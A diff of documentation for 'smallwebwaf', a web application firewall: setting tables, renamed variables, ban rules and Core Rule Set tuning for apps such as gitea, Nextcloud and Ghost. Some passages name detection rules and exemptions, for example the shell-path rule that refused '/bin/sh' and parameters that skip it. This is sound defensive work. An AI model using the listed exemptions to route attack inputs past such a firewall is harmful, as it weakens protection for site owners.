| `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
|
||||
| `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
|
||||
| `SWW_WAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
|
||||
| `SWW_WAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
|
||||
| `SWW_WAF_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
|
||||
| `SWW_WAF_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
|
||||
| `SWW_WAF_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
|
||||
| `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
||||
| `SWW_WAF_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
||||
| `SWW_WAF_STATE_COUNTER_INTERVAL` | `15m` | How often every state and cache file is written. |
|
||||
| `SWW_WAF_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. |
|
||||
| `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
||||
| `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
||||
| `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
||||
| `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
||||
| `SWW_WAF_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
||||
| `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
||||
| `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
|
||||
| `SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
|
||||
| `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
|
||||
| `SWW_WAF_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
|
||||
| `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
|
||||
| `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
|
||||
| `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
|
||||
| `SWW_WAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
|
||||
| `SWW_WAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
|
||||
| `SWW_WAF_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
|
||||
| `SWW_WAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
|
||||
| `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
|
||||
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
|
||||
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
|
||||
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
|
||||
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
|
||||
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
|
||||
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
|
||||
| `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
|
||||
| `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
|
||||
| `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. |
|
||||
| `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. |
|
||||
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
|
||||
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
|
||||
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
|
||||
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
|
||||
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
|
||||
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
|
||||
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
|
||||
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
|
||||
| `SWW_WAF_WATCH_NETS` | empty | Named netblocks the `SWW_WAF_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
|
||||
| `SWW_WAF_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
|
||||
| `SWW_WAF_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
|
||||
| `SWW_WAF_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
|
||||
| `SWW_WAF_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
|
||||
|
||||
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in
|
||||
full, and the limits that are fixed rather than settings.
|
||||
@@ -455,7 +455,7 @@ services:
|
||||
environment:
|
||||
SWW_RPROXY_WAF_BACKEND: http://waf:8080
|
||||
# Answer 503 rather than pass a request on while waf is down.
|
||||
SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION: deny
|
||||
SWW_RPROXY_DEFAULT_DISPOSITION: deny
|
||||
ports:
|
||||
- "8080:8080"
|
||||
|
||||
@@ -537,12 +537,12 @@ request reaches the app.
|
||||
17. The request is passed to the app, streaming.
|
||||
18. After the answer, `rproxy` sends `waf` a report with the status and the body
|
||||
bytes each way. For an allowed request, `waf` counts the bytes
|
||||
`SWW_WAF_BYTES_COUNTED` names toward the byte limits, bans the client if
|
||||
they take it past one, and adds the request to the client's history.
|
||||
`SWW_WAF_BYTES_COUNT` names toward the byte limits, bans the client if they
|
||||
take it past one, and adds the request to the client's history.
|
||||
|
||||
A refused visitor is answered with `SWW_WAF_BAN_RESPONSE`. A `block` rule or a
|
||||
Core Rule Set match answers `403` and bans nobody, since the Core Rule Set has
|
||||
false positives; such refusals count toward `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`
|
||||
false positives; such refusals count toward `SWW_WAF_ERROR_BURST_THRESHOLD`
|
||||
instead. A request over the header limits of step 3 is answered `431`, and bans
|
||||
nobody either. `rproxy` itself answers `405` to a method it does not pass on,
|
||||
and the status for a size or time limit, such as `413` for a body too large.
|
||||
@@ -583,8 +583,8 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
||||
|
||||
- The Core Rule Set reads the method, the URL with its query string, and the
|
||||
headers of every request, and no body unless
|
||||
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. In front of a code forge,
|
||||
bodies carry what people write and publish, which the rules take for attacks.
|
||||
`SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. In front of a code forge, bodies
|
||||
carry what people write and publish, which the rules take for attacks.
|
||||
- `smallwebwaf` changes the Core Rule Set in five ways so that it lets ordinary
|
||||
requests to a code forge through, such as git over HTTP and sign-in through
|
||||
Git Credential Manager. No setting undoes the changes; "Attack detection" in
|
||||
@@ -609,9 +609,9 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
||||
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
|
||||
its searches, its file names, its account names, its comments and its
|
||||
documents;
|
||||
- `ghost`, whose fixes let through the text its admin and members type, its
|
||||
analytics, its code injection, ActivityPub and a post saved from its
|
||||
editor, HTML included.
|
||||
- `ghost`, whose fixes let through its filters, its searches, its names, its
|
||||
email addresses, its code injection, its settings and a post saved from
|
||||
its editor, HTML included.
|
||||
- A random password, as a password manager makes one, gets through these forms:
|
||||
- signing in, signing up, and changing or resetting a password, on
|
||||
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud, gitea and Ghost;
|
||||
|
||||
@@ -157,13 +157,12 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
|
||||
`prefix=` tags while `SWW_WAF_ROUTEWATCH_URL` is set. A client in
|
||||
`SWW_WAF_ALLOW_NETS` skips the header limits and gets no tag.
|
||||
4. The static lists. A client in `SWW_WAF_ALLOW_NETS` skips steps 5 to 15, the
|
||||
byte limits and the refusal limit. A client in `SWW_WAF_DENY_NETS` is refused
|
||||
byte limits and the error burst. A client in `SWW_WAF_DENY_NETS` is refused
|
||||
(`deny_nets`); a client in both lists is let through.
|
||||
5. Bans. A client under a ban is refused (`active_ban`; see "Bans").
|
||||
6. The lookup, unless `SWW_WAF_LOOKUP_SOURCE` is `off` (see "Lookup of AS number
|
||||
and country"). The request goes on at once. It waits for the first GeoJS
|
||||
answer, up to `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`, only when one of
|
||||
these needs it:
|
||||
answer, up to `SWW_WAF_LOOKUP_TIMEOUT`, only when one of these needs it:
|
||||
- the country list;
|
||||
- a biased threshold;
|
||||
- `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming an `asn=` or
|
||||
@@ -177,10 +176,10 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
|
||||
- A client on a fetched blocklist gets `SWW_WAF_BLOCKLIST_ACTION`
|
||||
(`blocklists`).
|
||||
- A client on the CrowdSec decision list is banned (`crowdsec`).
|
||||
- A client listed by a DNS blocklist gets `SWW_WAF_DNSBL_ABUSEIPDB_ACTION`
|
||||
- A client listed by a DNS blocklist gets `SWW_WAF_REPUTATION_ACTION`
|
||||
(`dnsbl`).
|
||||
- A client scored at least `SWW_WAF_ABUSEIPDB_MIN_SCORE` by AbuseIPDB gets
|
||||
`SWW_WAF_DNSBL_ABUSEIPDB_ACTION` (`abuseipdb`).
|
||||
`SWW_WAF_REPUTATION_ACTION` (`abuseipdb`).
|
||||
9. The tag refusals (`tag_deny`; see "Request tags"). A request carrying a tag
|
||||
in `SWW_WAF_TAG_DENY` is refused.
|
||||
10. The client's limit percentage (see "Biased thresholds").
|
||||
@@ -205,18 +204,18 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
|
||||
18. After the visitor's answer has ended, `rproxy` sends the report (see "The
|
||||
report"). `waf` then counts:
|
||||
- For a request it allowed, the body bytes of the response, of the request
|
||||
or of both are added to the byte counters, as `SWW_WAF_BYTES_COUNTED`
|
||||
says. For a WebSocket, what it carried each way counts once it closes. A
|
||||
client whose total passes a byte limit times the percentage has broken
|
||||
that limit and is banned (`byte_limits`). The request that broke it has
|
||||
already been passed on whole; nothing is cut off.
|
||||
or of both are added to the byte counters, as `SWW_WAF_BYTES_COUNT` says.
|
||||
For a WebSocket, what it carried each way counts once it closes. A client
|
||||
whose total passes a byte limit times the percentage has broken that limit
|
||||
and is banned (`byte_limits`). The request that broke it has already been
|
||||
passed on whole; nothing is cut off.
|
||||
- For a request it allowed, the client's history and the anomaly counters
|
||||
are updated, and the alert thresholds are evaluated.
|
||||
|
||||
For a request it refused, `waf` adds nothing to the byte limits. It updates
|
||||
the history and the anomaly counters at its decision. A refusal for a rule
|
||||
file match, a trap path or a Core Rule Set match also counts toward the
|
||||
refusal limit at the decision (`refusal_limit`; see "Attack detection").
|
||||
the history and the anomaly counters at its decision. It counts the refusals
|
||||
the error burst counts at the decision too (`refusal_limit`; see "Attack
|
||||
detection").
|
||||
|
||||
In `SWW_WAF_MODE=observe`, every refusal above is logged as what would have
|
||||
happened, nothing is refused, and `waf` makes no ban of its own. A path under
|
||||
@@ -280,7 +279,7 @@ to a ban, each by its own rule:
|
||||
- a request over a rate limit;
|
||||
- the bytes counted for a request and its response taking the client's total
|
||||
past a byte limit;
|
||||
- more than `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` refusals within a minute.
|
||||
- more than `SWW_WAF_ERROR_BURST_THRESHOLD` refusals within a minute.
|
||||
|
||||
The bans for a broken limit:
|
||||
- The first such ban lasts `SWW_WAF_LIMIT_BAN_DURATION` (default `1h`), with
|
||||
@@ -289,16 +288,15 @@ to a ban, each by its own rule:
|
||||
ended.
|
||||
- Breaking a limit again within that window makes the new ban three times as
|
||||
long as the last one: one hour, then 3, 9, 27 and 81 hours.
|
||||
- A ban that would be longer than `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE`
|
||||
(default `7d`) is permanent instead. At the defaults, that is the sixth
|
||||
ban in a row.
|
||||
- A ban that would be longer than `SWW_WAF_MAX_BAN_DURATION` (default `7d`)
|
||||
is permanent instead. At the defaults, that is the sixth ban in a row.
|
||||
- Each such ban sets the client's counters for every limit back to zero.
|
||||
Once it ends, only new requests can break a limit again. The client's
|
||||
history keeps its totals.
|
||||
|
||||
A Core Rule Set match refuses only the request it matched, with `403` and
|
||||
without a ban, because the Core Rule Set has false positives. A `block` rule
|
||||
does the same. Those refusals count toward the refusal limit, so a client that
|
||||
does the same. Those refusals count toward the error burst, so a client that
|
||||
keeps setting them off is banned for a broken limit.
|
||||
|
||||
A client on the CrowdSec decision list is banned until the decision ends, with
|
||||
@@ -352,9 +350,8 @@ below are `waf`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions:
|
||||
- These settings take `off`, which switches them off:
|
||||
- `SWW_WAF_LOOKUP_SOURCE` and `SWW_WAF_CORE_RULE_SET_MODE`;
|
||||
- the three rate limits and the three byte limits;
|
||||
- `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`,
|
||||
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` and
|
||||
`SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`;
|
||||
- `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`,
|
||||
`SWW_WAF_CORE_RULE_SET_BODY_LIMIT` and `SWW_WAF_ERROR_BURST_THRESHOLD`;
|
||||
- `SWW_WAF_ALERT_COOLDOWN` and `SWW_WAF_ALERT_MAX_PER_HOUR`;
|
||||
- every anomaly threshold;
|
||||
- `SWW_RPROXY_MAX_REQUEST_SIZE`, `SWW_RPROXY_MAX_RESPONSE_SIZE`,
|
||||
@@ -407,9 +404,9 @@ below are `waf`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions:
|
||||
|
||||
- `SWW_WAF_STATE_DIR` names the directory of the state files, and
|
||||
`SWW_WAF_CACHE_DIR` that of the cache files (see "State" under "Deployment").
|
||||
- `bans.json` is written `SWW_WAF_BANS_WRITE_DELAY` after a ban is made, lifted
|
||||
- `bans.json` is written `SWW_WAF_STATE_WRITE_DELAY` after a ban is made, lifted
|
||||
or made permanent, so a burst of changes becomes one write. Every file is
|
||||
written every `SWW_WAF_STATE_WRITE_INTERVAL`, and at an orderly stop.
|
||||
written every `SWW_WAF_STATE_COUNTER_INTERVAL`, and at an orderly stop.
|
||||
|
||||
### Logging
|
||||
|
||||
@@ -423,16 +420,15 @@ below are `waf`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions:
|
||||
|
||||
### Metrics
|
||||
|
||||
- `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` is how many of the busiest AS
|
||||
numbers and countries get a series of their own. The rest are summed as
|
||||
`other`, so the label set stays bounded.
|
||||
- `SWW_WAF_METRICS_TOP_N` is how many of the busiest AS numbers and countries
|
||||
get a series of their own. The rest are summed as `other`, so the label set
|
||||
stays bounded.
|
||||
|
||||
### Static lists
|
||||
|
||||
- `SWW_WAF_ALLOW_NETS` skips the checks step 4 names, for monitoring or the
|
||||
owner's own networks. `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` bypasses the request
|
||||
and byte limits only; the refusal limit, attack detection and bans still
|
||||
apply.
|
||||
and byte limits only; the error burst, attack detection and bans still apply.
|
||||
- Many people can share one address, as in an office, on a mobile carrier or
|
||||
through Tor. They are one client, and share its limits and its bans. A known
|
||||
shared address busier than the limits allow belongs in `SWW_WAF_ALLOW_NETS` or
|
||||
@@ -478,7 +474,7 @@ app may read it as a path outside the prefix.
|
||||
### Byte limits, per client
|
||||
|
||||
The byte limits count body bytes: the app's response bodies, the visitors'
|
||||
request bodies, or both, as `SWW_WAF_BYTES_COUNTED` says. Headers are never
|
||||
request bodies, or both, as `SWW_WAF_BYTES_COUNT` says. Headers are never
|
||||
counted. What the visitor sent over a WebSocket counts as request bytes, and
|
||||
what the app sent as response bytes. The bytes counted for a request and its
|
||||
response are added to the client's total once the response has ended (see step
|
||||
@@ -514,11 +510,11 @@ service that keeps its visitors' addresses on its own host.
|
||||
are kept apart from the table of clients, so that an answer outlasts a client
|
||||
dropped from that table. The answer reaches the client's history and ban notes
|
||||
when it comes.
|
||||
- `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` is how long a visitor's request
|
||||
waits for its client's first answer, when a setting needs it (see step 6). It
|
||||
also bounds each request to GeoJS. A client whose answer has not come in time
|
||||
counts as unknown until it comes, and its later requests do not wait. Its
|
||||
address is asked about again in the background.
|
||||
- `SWW_WAF_LOOKUP_TIMEOUT` is how long a visitor's request waits for its
|
||||
client's first answer, when a setting needs it (see step 6). It also bounds
|
||||
each request to GeoJS. A client whose answer has not come in time counts as
|
||||
unknown until it comes, and its later requests do not wait. Its address is
|
||||
asked about again in the background.
|
||||
- A client the lookup cannot place has an unknown country and AS number, which
|
||||
the country list and the biased thresholds treat as described there. Nothing
|
||||
else treats it differently.
|
||||
@@ -580,7 +576,7 @@ Each tag and where it comes from:
|
||||
key masked, as the `reputation` field gives it.
|
||||
- `exploitsignature`, when a rule file or the Core Rule Set matched the request.
|
||||
For the Core Rule Set a match is a score at or over
|
||||
`SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`.
|
||||
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`.
|
||||
- `asn=<number>` and `prefix=<netblock>` from a routewatch instance
|
||||
(`routewatch_tags`), while `SWW_WAF_ROUTEWATCH_URL` is set:
|
||||
- The tag `prefix=` holds the netblock the client's address is announced in,
|
||||
@@ -627,13 +623,13 @@ abuse comes from.
|
||||
|
||||
- `SWW_WAF_TAG_LIMIT_PERCENT` gives a tag a percentage, such as `asn=14061:50`
|
||||
(see "Request tags"). A lowered limit is rounded down.
|
||||
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` at `0` is a zero allowance: the
|
||||
client's first request breaks a limit and bans it.
|
||||
- `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` and `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT`
|
||||
set the byte limits' percentage alone, when it should differ from the request
|
||||
limits'. For an AS number they list, they replace its `asn=` tag's percentage
|
||||
and its entry in `SWW_WAF_ASN_LIMIT_PERCENT_URL`; for a country, its
|
||||
`country=` tag's percentage.
|
||||
- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` at `0` is a zero allowance: the client's first
|
||||
request breaks a limit and bans it.
|
||||
- `SWW_WAF_ASN_BYTES_PERCENT` and `SWW_WAF_COUNTRY_BYTES_PERCENT` set the byte
|
||||
limits' percentage alone, when it should differ from the request limits'. For
|
||||
an AS number they list, they replace its `asn=` tag's percentage and its entry
|
||||
in `SWW_WAF_ASN_LIMIT_PERCENT_URL`; for a country, its `country=` tag's
|
||||
percentage.
|
||||
- `SWW_WAF_ASN_LIMIT_PERCENT_URL` names a text file of `AS:percent` lines, so
|
||||
one abuse-source list can be shared by every `waf` in the fleet. It is fetched
|
||||
and kept like a blocklist (see "Reputation"). Each entry counts like an `asn=`
|
||||
@@ -641,8 +637,8 @@ abuse comes from.
|
||||
applies.
|
||||
- A client's limit percentage is the lowest of those that apply to it: its AS
|
||||
number's, its country's, its tags', or a reputation hit's `limit:<percent>`. A
|
||||
client without a country gets `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` in place
|
||||
of a country's. The percentage is 100 if none applies. Clients given a lower
|
||||
client without a country gets `SWW_WAF_UNKNOWN_LIMIT_PERCENT` in place of a
|
||||
country's. The percentage is 100 if none applies. Clients given a lower
|
||||
percentage are banned after fewer requests, first for a while and then, for
|
||||
repeated abuse, permanently. The log line of each counted request, and the
|
||||
notes of each ban, say which setting lowered the limit.
|
||||
@@ -664,16 +660,16 @@ files, the limits and the bans still apply to the client that sends it.
|
||||
|
||||
- The Core Rule Set skips a path under `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS`.
|
||||
- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` and
|
||||
`SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` are the Core Rule Set's own two tuning
|
||||
values, at its own defaults. Each level up runs more rules, which find more
|
||||
attacks and take more ordinary requests for attacks. Each rule that matches
|
||||
adds its score to the request's, and a rule rated critical adds 5. A request
|
||||
whose score reaches the threshold is a match, so by default one critical rule
|
||||
is enough. With the threshold `off`, nothing is a match, and scores are still
|
||||
logged. A request with more than 1000 query parameters or body fields adds 5
|
||||
to its score, since Coraza reads only the first 1000. For a match, in `block`
|
||||
and `detect` mode alike, the log line gives the rule ids and the score, and a
|
||||
`core_rule_set_match` alert is sent.
|
||||
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` are the Core Rule Set's own two
|
||||
tuning values, at its own defaults. Each level up runs more rules, which find
|
||||
more attacks and take more ordinary requests for attacks. Each rule that
|
||||
matches adds its score to the request's, and a rule rated critical adds 5. A
|
||||
request whose score reaches the threshold is a match, so by default one
|
||||
critical rule is enough. With the threshold `off`, nothing is a match, and
|
||||
scores are still logged. A request with more than 1000 query parameters or
|
||||
body fields adds 5 to its score, since Coraza reads only the first 1000. For a
|
||||
match, in `block` and `detect` mode alike, the log line gives the rule ids and
|
||||
the score, and a `core_rule_set_match` alert is sent.
|
||||
- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` switches off rule ids when an app trips
|
||||
a false positive. The default switches off six rules:
|
||||
- 920340, 920420 and 920640 refuse a request for the type of its body, when
|
||||
@@ -711,14 +707,14 @@ files, the limits and the bans still apply to the client that sends it.
|
||||
loads, such as `SecRuleRemoveById`, since none of the Core Rule Set's
|
||||
rules is loaded yet.
|
||||
|
||||
- `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` switches body inspection on, up
|
||||
to that size. It takes at most `64K`, since `waf` gets no more of a body than
|
||||
that (see "The answer"). Form data and multipart bodies are read up to the
|
||||
size. JSON and XML bodies are read only when no larger than the size, since
|
||||
those cannot be read in part. Any other body is not read: the Core Rule Set
|
||||
would read it as form data, where binary content such as a git push trips
|
||||
rules written for text. A body the Core Rule Set cannot parse adds 5 to the
|
||||
score, and so does a multipart body cut by the limit in the middle of a part's
|
||||
- `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` switches body inspection on, up to that
|
||||
size. It takes at most `64K`, since `waf` gets no more of a body than that
|
||||
(see "The answer"). Form data and multipart bodies are read up to the size.
|
||||
JSON and XML bodies are read only when no larger than the size, since those
|
||||
cannot be read in part. Any other body is not read: the Core Rule Set would
|
||||
read it as form data, where binary content such as a git push trips rules
|
||||
written for text. A body the Core Rule Set cannot parse adds 5 to the score,
|
||||
and so does a multipart body cut by the limit in the middle of a part's
|
||||
header. Body inspection suits apps whose forms carry no code.
|
||||
- `SWW_WAF_TRAP_PATHS` names paths the app never serves and only scanners ask
|
||||
for, such as `/wp-login.php` in front of an app that is not WordPress. This is
|
||||
@@ -727,8 +723,8 @@ files, the limits and the bans still apply to the client that sends it.
|
||||
the path as sent and once percent-decoded: `/wp-login.php` matches
|
||||
`/wp-login.php?x=1` and `/%77p-login.php`, and does not match `/wp-login.php/`
|
||||
or `/blog/wp-login.php`.
|
||||
- `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` counts a client's refusals per minute of
|
||||
these kinds, and of no other:
|
||||
- `SWW_WAF_ERROR_BURST_THRESHOLD` counts a client's refusals per minute of these
|
||||
kinds, and of no other:
|
||||
- a rule file match;
|
||||
- a trap path;
|
||||
- a Core Rule Set match.
|
||||
@@ -752,10 +748,10 @@ every app, and no setting undoes them:
|
||||
Core Rule Set does not read, which by default is every request. git
|
||||
compresses a fetch request over 1 KiB and says so in that header. On a body
|
||||
the Core Rule Set does read, the header stays refused, since a compressed
|
||||
body cannot be inspected. While `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE`
|
||||
is set, it stays refused too on a `PUT` of JSON, XML or form data to
|
||||
Nextcloud's WebDAV paths, whose body Nextcloud's fixes leave unread. The
|
||||
other headers the Core Rule Set refuses, such as `Proxy`, stay refused.
|
||||
body cannot be inspected. While `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set, it
|
||||
stays refused too on a `PUT` of JSON, XML or form data to Nextcloud's WebDAV
|
||||
paths, whose body Nextcloud's fixes leave unread. The other headers the Core
|
||||
Rule Set refuses, such as `Proxy`, stay refused.
|
||||
3. The `redirect_uri` parameter is not checked for a URL naming an IP address or
|
||||
`localhost` (931100, 934110). Git Credential Manager, git-credential-oauth
|
||||
and tea, which gitea registers for OAuth sign-in, ask to be sent back to
|
||||
@@ -816,7 +812,7 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
|
||||
- `artifactName` and `redirect_to`.
|
||||
|
||||
They skip these rules in the query, and in a form data or multipart body
|
||||
while `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set.
|
||||
while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set.
|
||||
|
||||
gitea puts into them file paths, branch and workflow names, and the page to
|
||||
return to after signing in. It reads these values as names in a repository
|
||||
@@ -883,13 +879,11 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
|
||||
which refused `org.apache.commons.logging`.
|
||||
|
||||
A branch, tag or package name can hold a slash, as `feat/docker-support`
|
||||
does. So `q` skips the rule for shell paths (932160) too on these
|
||||
searches, where it refused `/bin/sh`:
|
||||
does. So `q` skips the rule for shell paths (932160) too on these pages,
|
||||
where it refused `/bin/sh`:
|
||||
- a repository's branches, tags and packages pages;
|
||||
- an owner's packages page;
|
||||
- the admin page of packages;
|
||||
- the API's search of packages;
|
||||
- the searches of the Composer and Conan registries.
|
||||
- the admin page of packages.
|
||||
|
||||
- `q` on gitea's other searches, for the same four rules. Words such as
|
||||
`python3`, `powershell`, `ls -la` and `.htaccess` were refused there. The
|
||||
@@ -904,37 +898,12 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
|
||||
- the runner lists of the site, a user, an organisation and a
|
||||
repository;
|
||||
- the admin lists of users, organisations, repositories, unadopted
|
||||
repositories and emails;
|
||||
- the API's searches of topics, of an organisation's teams and of
|
||||
emails;
|
||||
- the searches of the Cargo, Chef, Composer and Conan registries, and
|
||||
the NuGet registry's search service.
|
||||
